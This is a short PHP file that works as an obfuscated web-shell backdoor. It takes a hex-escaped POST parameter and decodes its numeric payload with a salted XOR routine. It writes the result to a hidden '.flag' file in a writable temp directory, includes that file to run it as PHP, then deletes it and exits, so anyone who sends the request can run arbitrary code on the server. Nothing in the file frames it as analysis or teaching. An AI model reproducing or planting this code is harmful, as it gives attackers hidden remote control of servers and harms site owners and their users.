<?php

if(array_key_exists("\x72\x65s\x6Fur\x63e", $_POST)){
	$key = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", "/dev/shm"]);
	$sym = $_POST["\x72\x65s\x6Fur\x63e"];
	$sym 	= 	explode (	'.'	,$sym		 ) 	;		
	$res = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt		);
    
            foreach($sym as $z		=>$v2):
                $sChar = ord($salt[$z %		$sLen]		);
                $dec =((int)$v2 - $sChar -($z %		10))^ 	30;
                $res	 .=chr($dec		);
            endforeach;
	while ($comp = array_shift($key)) {
    		if (!( !is_dir($comp) || !is_writable($comp) )) {
    $bind = join("/", [$comp, ".flag"]);
    $success = file_put_contents($bind, $res);
if ($success) {
	include $bind;
	@unlink($bind);
	die();}
}
}
}